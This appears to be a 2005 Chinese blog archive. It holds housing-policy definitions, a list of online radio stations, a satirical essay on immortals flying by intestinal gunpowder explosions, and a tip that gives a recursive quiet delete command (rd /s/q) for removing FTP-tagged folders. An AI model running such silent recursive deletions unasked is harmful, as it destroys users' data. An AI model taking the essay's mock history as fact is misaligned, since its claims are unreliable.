廉租房是在即将出台的国家房改方案中首次提出了“廉租房”这一概念,类似于香港的“廉租屋”。我国的廉租房只租不售,出租给城镇居民中最低收入者。廉租房的来源主要是腾退的旧公房。

经济适用房是指以微利价出售给广大中低收入家庭的商品房。它是具有社会保障性质的商品住宅,具有经济性和适用性的特点。经济性是指住宅价格相对于市场价格而言,是适中的,能够适应中低收入家庭的承受能力;适用性是指在住房设计及其建筑标准上强调住房的实用效果,而不是降低建筑标准。

1994年由建设部、国务院房改领导小组、财政部联合发布的《城镇经济适用住房建设管理办法》指出,经济适用住房是以中低收入家庭、住房困难户为供应对象,并按国家、住宅建设标准(不含别墅、高级公寓、外销住宅)建设的普通住宅。经济适用房的价格按建设成本确定,建设成本包括征地拆迁费、勘察设计及前期工程费、建安费、小区内基础设施配套建设费、贷款利息、税金、物业的管理费。即将出台的国家房改方案基本上沿用了“经济适用房”这个概念。经济适用房以微利价出售,只售不租。其成本价由7项因素(征地拆迁费、勘察设计费、配套费、建安费、管理费、贷款利息、5%以内的利润)构成,约占住宅总量的70%。出售经济适用房实行政府指导价,其售价有市、县人民政府根据以上几项因素综合确定,并定期公布,不得擅自提价销售。

商品房原是指房地产开发经营企业,经批准用于市场出售而建造的房屋称为商品房。商品房按销售对象可分为内销商品房和外销商品房。内销商品房是指房地产开发企业通过实行土地使用权出让形式,经过政府计划主管部门审批,建成后用于在境内范围(目前不包括香港、澳门特别行政区和台湾)出售的住宅、商业用房以及其他建筑物。外销商品房是指房地产开发企业按政府外资工作主管部门的规定,通过实行土地批租形式,报政府计划主管部门列入正式项目计划,建成后用于向境内、外出租的住宅,商业用房及其他建筑物。

为进一步简化交易手续、刺激住房消费,按照总量控制、合理平稳的原则,市府1999年11月发文规定,除花园住宅、部队住房和按照市政府制定的租金标准出租的公有住房外,普通内销商品房、侨汇房、经济适用住房,职工已购公有住房、动迁房、职工住宅和其他划拨土地上的住房交易,统一归并为内销商品住房交易,销售对象为中国境内的公民、法人、其他组织和改革开放后赴境外的中国公民。

在市场经济条件下,任何推向市场的,并可以自由买卖交易的房屋都应该是一种商品。但目前的中国房地产市场,商品房只是特指经政府有关部门批准,由房地产开发经营公司开发的,建成后用于市场出售出租的房屋,包括住宅、商业用房以及其他建筑物。商品房可分为内资内销商品房、外资内销商品房、高标准内销商品房、外销商品房和经济适用房。凡是自建、参建、委托建造,又是自用的住宅或其他建筑物不属于商品房范围。

安居房是指为实施国家“安居工程”而建造的住房。它是由国家安排的专项贷款和地方自筹资金共建的面向广大中低收入家庭,特别是对人均居住面积在4平方米以下的特困户提供的销售价格低于成本价、由政府补贴的非赢利性住房。

国家安居工程是国家为推动房改,加快城市住宅建设及解困和建立住房新制度的一项重大举措。
1995年《国家安居工程实施方案》提出,国家安居工程从1995年开始实施,在原有住房建设规模基础上新增安居工程建筑面积1.5亿平方米,用5年左右时间完成。国家安居工程直接以成本价向中低收入家庭出售。3年多来,全国共竣工国家安居住房面积5576.32万平方米,为70多万户家庭解决了住房困难。据国家权威部门透露,今年继续建设国家安居工程,但要淡化国家安居工程这个概念。明年国家安居工程将并入经济适用房的建设之中。

平价房是指以成本加上3%的管理费作为销售价格向大多数中低收入家庭提供的住宅。成本由征地和拆迁补偿费、勘察和前期工程费、建安工程费、住宅小区基础建设费、管理费、贷款利息和税金等七项因素构成。

微利房是指房地产开发商修建的用于公开向社会让利出售获取微利的普通商品房。

深圳市在1989年率先提出:深圳市住宅局代表政府建设微利房,以成本价向居民出售。住宅局可获微利,以弥补建设福利房的亏损。它实际上是一种成本房。深圳市每年约供应福利房2000余套,微利房7000余套。1997年微利房价格为2500-3500元/平方米,福利房价格约为1000元/平方米。福利房即相当于我们后来说的经济适用房。

2005年02月17日

因为被别人作成pub,使用的是reserved name,常规手段无法删除。
假如你的ftp文件夹的路径是F盘的ftpfile,即f:/ftpflie,这个文
件夹中包含了你删除不掉的文件夹和文件,可以将里面你自己的文
件和文件夹转移出来,然后可以使用这个特殊语法删除:

命令提示符下(运行cmd进入命令提示符)输入:

rd \\.\f:\ftpfile /s/q 回车

(看清楚,rd后面和ftpfile后面均有一空格,其他字符之间无空格)


如果还想深究的大家可以看看这里:
1、You Cannot Delete a File or a Folder
http://support.microsoft.com/?id=320081
2、How to Remove Files with Reserved Names in Windows
http://support.microsoft.com/?id=120716
3、How to Remove Files with Reserved Names in Windows XP
http://support.microsoft.com/?id=315226

Delete FXP Files是一个应用软件,它为你提供了一个GUI的删除目录和文件名的手段。这些文件通常缘于一个开放的FTP服务器所得到的标记(或”t@gged”),这将导致生成各种各样的文件夹或文件,或两者有之。并致使Windows Explorer混乱,使得这些文件夹、文件难以删除。Delete FXP Files是需要匿名上载访问的FTP服务器的必备工具。

2005年02月12日

湖北电台新闻频道 在线收听 电台主页 湖北电台健康娱乐频道 在线收听 电台主页
湖北电台音乐频道 在线收听 电台主页 湖北电台经济频道 在线收听 电台主页
湖北电台交通音乐频道 在线收听 电台主页 吉林大众生活台 在线收听 电台主页
吉林东北亚音乐台 在线收听 电台主页 吉林新闻台 在线收听 电台主页
吉林交通文艺台 在线收听 电台主页 百兆24小时翻唱广播 在线收听 电台主页
猫扑网络电台 在线收听 电台主页 广州电台金曲广播 在线收听 电台主页
广州电台调频广播 在线收听 电台主页 广州电台经济环保广播 在线收听 电台主页
山东广播交通频道 在线收听 电台主页 山东广播生活频道 在线收听 电台主页
山东广播文艺频道 在线收听 电台主页 山东广播经济频道 在线收听 电台主页
21CN Radio 魅力2线 在线收听 电台主页 21CN Radio 魅力1线 在线收听 电台主页
音乐之声(中央三台) 在线收听 电台主页 百兆24小时网络广播 在线收听 电台主页
广西人民广播电台卫星台 在线收听 电台主页 广西人民广播电台教育台 在线收听 电台主页
广西人民广播电台经济台 在线收听 电台主页 广西人民广播电台文艺台 在线收听 电台主页
南宁电台新闻综合频道 在线收听 电台主页 南宁电台交通音乐频道 在线收听 电台主页
银河网络电台 在线收听 电台主页 深圳电台第一台 在线收听 电台主页
深圳电台第二台 在线收听 电台主页 佛山人民广播电台985千色频道 在线收听 电台主页
佛山人民广播电台946真爱频道 在线收听 电台主页 广东电台城市之声 在线收听 电台主页
广东电台音乐之声 在线收听 电台主页 深圳电台第三台 在线收听 电台主页
重庆电台经济频道 在线收听 电台主页 重庆电台交通频道 在线收听 电台主页
重庆电台综合频道 在线收听 电台主页 联合国电台 在线收听 电台主页
BBC国际新闻站 在线收听 电台主页 BBC音乐站 在线收听 电台主页
LAUNCH音乐电台 在线收听 电台主页 加拿大中文电台温哥华AM1470 在线收听 电台主页
加拿大中文电台温哥华FM96.1 在线收听 电台主页 上海浦江之声广播电台 在线收听 电台主页
上海东方广播电台新闻综合频率 在线收听 电台主页 上海东方广播电台经典音乐频率 在线收听 电台主页
上海东方广播电台流行音乐频率 在线收听 电台主页 上海人民广播电台文艺频率 在线收听 电台主页
上海人民广播电台戏剧频率 在线收听 电台主页 上海人民广播电台交通频率 在线收听 电台主页
上海人民广播电台新闻频率 在线收听 电台主页 上海东方广播电台财经频率 在线收听 电台主页
上海东方广播电台金色频率 在线收听 电台主页 长春交通之声 在线收听 电台主页
成都电台财富广播 在线收听 电台主页 成都电台交通文艺 在线收听 电台主页
成都电台新闻广播 在线收听 电台主页 长沙电台星沙之声 在线收听 电台主页
湖南人民广播电台交通频道 在线收听 电台主页 湖南人民广播电台文艺频道 在线收听 电台主页
湖南人民广播电台卫星广播 在线收听 电台主页 湖南人民广播电台经济频道 在线收听 电台主页
长沙音乐台 在线收听 电台主页 常州电台 在线收听 电台主页
常熟新闻综合电台 在线收听 电台主页 常熟交通电台 在线收听 电台主页
常熟经济电台 在线收听 电台主页 南京交通台 在线收听 电台主页
南京体育台 在线收听 电台主页 南京经济台 在线收听 电台主页
南京新闻台 在线收听 电台主页 南京音乐台 在线收听 电台主页
澳门电台 在线收听 电台主页 黑龙江妇女儿童广播电台 在线收听 电台主页
黑龙江生活文艺广播电台 在线收听 电台主页 黑龙江金融广播电台 在线收听 电台主页
黑龙江卫星广播电台 在线收听 电台主页 黑龙江交通广播电台 在线收听 电台主页
KISS RADIO 在线收听 电台主页 台湾中广晚间新闻 在线收听 电台主页
台湾中广晨间新闻 在线收听 电台主页 台湾中广客家频道 在线收听 电台主页
台湾中广古典网 在线收听 电台主页 台湾中广流行网 在线收听 电台主页
台湾中广音乐网 在线收听 电台主页 台湾中广新闻网 在线收听 电台主页
美国之音 在线收听 电台主页 香港电台普通话台 在线收听 电台主页
中国国际广播电台广州话 在线收听 电台主页 中国国际广播电台FM88.7 在线收听 电台主页
中国国际广播电台FM91.5 在线收听 电台主页 北京音乐台 在线收听 电台主页
宁波电台经济娱乐频道 在线收听 电台主页 宁波电台新闻综合频道 在线收听 电台主页
宁波电台交通音乐频道 在线收听 电台主页 中央人民广播电台八套 在线收听 电台主页
中央人民广播电台七套 在线收听 电台主页 中央人民广播电台六套 在线收听 电台主页
中央人民广播电台五套 在线收听 电台主页 中央人民广播电台四套 在线收听 电台主页
中央人民广播电台三套 在线收听 电台主页 中央人民广播电台二套 在线收听 电台主页
中央人民广播电台一套 在线收听 电台主页 厦广新闻台 在线收听 电台主页
厦广经济台 在线收听 电台主页 厦广音乐台 在线收听 电台主页

          哥伦布发现新大陆归来后,很多贵族不服气,认为他做的事普通人也能做到。哥伦布于是拿
来一个熟鸡蛋,让他们在镜面上竖起来。众贵族试了很长时间,没有一个成功。哥伦布拿来
鸡蛋,使劲在镜子上敲了一下,鸡蛋就立住了。众贵族哑口无言。
   把鸡蛋敲一下,就这么简单,但那么多贵族却都没有想到。
   哥伦布和那个孩子的相同之处在于,他们都没有被成人世界的思维定势所拘束,而是
一眼看到了事物的本质。
   老庄学说讲,大道就存在于我们的日常生活中,真正的高人和儿童一样,用未受污染
的天真眼光看待世界,就是这个道理。
   这就是所谓的“慧根”。
   今天我们要研究的是神仙飞行的秘密。只要不被高深的理论所迷惑,用小男孩般单纯
而直接的眼光来看,飞行的原理其实很简单。
   要揭开这个秘密,先要从历史上的炼丹术入手。
   神仙高道们炼丹的作用,一是炼形,用富含金属与矿物质的药石,获得身体坚如金石
的效果;一是炼丹,炼出吃下去就能让人白日飞升的“金丹”。
   关键就在于这两方面同时起到作用。
   若问一声,炼丹术对历史最大的贡献是什么?想必很多人都能答出来——
   火药!
   道士们炼丹炉里的爆炸,改变了世界的进程。
   但是,道士们为什么要炼出火药呢?
   他们炼出来的东西是要吃到肚子里去的呀。
   火药的成分:磷、硝、碳,都是不能消化的东西。随着金丹越吃越多,体内的火药就
越积越多。当火药在一个密闭的空间内越积越多的时候,大家都知道将发生什么事情:遇到
剧烈碰撞或一星火花,就会发生一场——
   爆炸!
   但是高人现在已经将身体炼得坚如金石,不会被爆炸伤到。那么,爆炸所产生的大量
气体只能寻找一个出口喷出去。
   这就是古代的火箭、爆竹里的钻天猴的飞行原理。
   只要高人运功将咽喉密闭,那么爆炸气流只能从下方的肛门喷出。以火药强大的推动
力,高人必将象钻天猴一样高高飞向天空。所以,神仙的飞行原理就是——
   放屁!
   原理就这么简单。
   当然具体操作起来并没有这么简单。若要长途飞行,一个屁的力量是不够的,所谓一
鼓作气、再而衰、三而竭。好在人类肠道结构复杂,九转十八弯,只要让肠道里的火药分为
多次爆炸,就必然如多级火箭一样,获得持续不断的动力。所以高人练功最重要的就是控制
丹田,用真气将肠道密闭为很多节,再用真火逐节点燃。
   成功飞行的另一个要素就是肠道要干净,没有乱七八糟的东西堵塞。就像枪口若被泥
塞住的话,就会发生“炸膛”的现象。所以高人修炼的另一个重要内容就是“辟谷”,不吃
饭光喝水,将肠子涮得干干净净。不然,容易出飞行事故不说,还会在飞行中喷出一些不明
不白的东西,破坏神仙们潇洒的形象。
   历史上有很多人都掌握了这种飞行方法。其上等者御风而行,泠然而善;piu地一声冲
天去,旬有五日而后返。可称之为“飞天”。其中等者一屁二三里,烟村四五家;离地六七
丈,耗时八九分。可称之为“爬云”。惟有下等者,炼形不得法,辟谷不成功,急于飞升,
乱服丹药,落得个中风偏瘫,半身不遂,遍地寻老军医而不得,叫声“傻大冒”都算给丫面
子。
   但遗憾的是,“傻大冒”越来越多,服用金丹后纷纷中毒乃至送命。后学者不明真相
,逡巡不前,真正懂得金丹奥妙的人就越来越少了。后来终于形成了所谓“内丹”派,用体
内的精气神来炼象征意义上的丹。“内丹”可以强身健体,祛病延年,对气功的形成起到了
很大作用。然而自“内丹”派一统江湖之后,就很少听到有人白日飞升的消息了。
   对了,刚才讲到“飞天”。在很多人眼里,飞天是佛教的产物,其实不然,飞天是佛
道融合的产物。在道教那里,飞天被称为“飞仙”。宋《太平御览》卷622引《天仙品》云
:“飞行云中,神化轻举,以为天仙,亦云飞仙。”飞天与飞仙形象的融合,据专家考证发
生在佛教初传不久的魏晋南北朝,而这时正是历史上服药炼丹之风最盛的一个时期。从现存
有关飞天的艺术品来看,飞天们体态婀娜,姿容曼妙,但很多都有一个相同的特点:屁股是
撅起来的。这一形象是不是以屁冲天的高人们为原型塑造的呢?尚待进一步考证。

  在漫漫的时间长河中,有许多祖先的宝贵遗产被我们遗忘。如今,当武侠作品中出现凌
空飞升的轻功场面时,总是有饱中西学之毒的人嗤之以鼻:“胡说八道,一点也不符合力学
原理。”然而经过今天的考证,我们就可以说:高手们在古代秘笈中发现了飞行的秘密,从
而发明了轻功——他们总是会在各种地方发现秘笈。他们进行的是历史上最早的喷气式飞行
,怎么会不符合力学原理呢?
   这一重大的考古学发现,必将引起武侠界的大地震。小说家们以后在描写轻功时必将
与时俱进,采取新的写法。我们期待着,在未来的武侠小说中,将会出现这样的场景:

   正酣斗间,忽听项少龙大吼三声:“风,风,大风!”众高手心头一凛,纷纷住手。
只见项少龙步天罡踏北斗,马步蹲裆,脸上显出极为痛苦的神色,忽然虎躯一震,胯下有如
雷鸣,周围三丈方圆内马上飞沙走石,不见人影!众高手心头一凛,正待躲避,忽见烟尘中
一个人影冲天而起,项少龙一屁生生拔起四丈多高!眼看去势将老,却又右脚尖一踩左脚背
,虎躯再震,又生生冲起三丈有余。众高手心中暗忖七丈已是我等轻功极限,于是纷纷将暗
器扣在手心,准备降落时施以杀手。这时却见项少龙在空中俯熊腰撅虎臀——这次放的是一
串连珠屁,只听奔雷也似一阵巨响,项少龙虎躯乱震,向着东南方向一溜烟地不见了踪影。
众高手兀立当场,面面相觎,心头狂凛。半天才有人喃喃道:“屁股向后平沙落雁式,好轻
功,好轻功……”这时隐隐听得天际传来一阵长吟:
   “桃花影落飞神气,屁海潮生按玉箫!”

2005年02月11日

http://www.xianlai.com/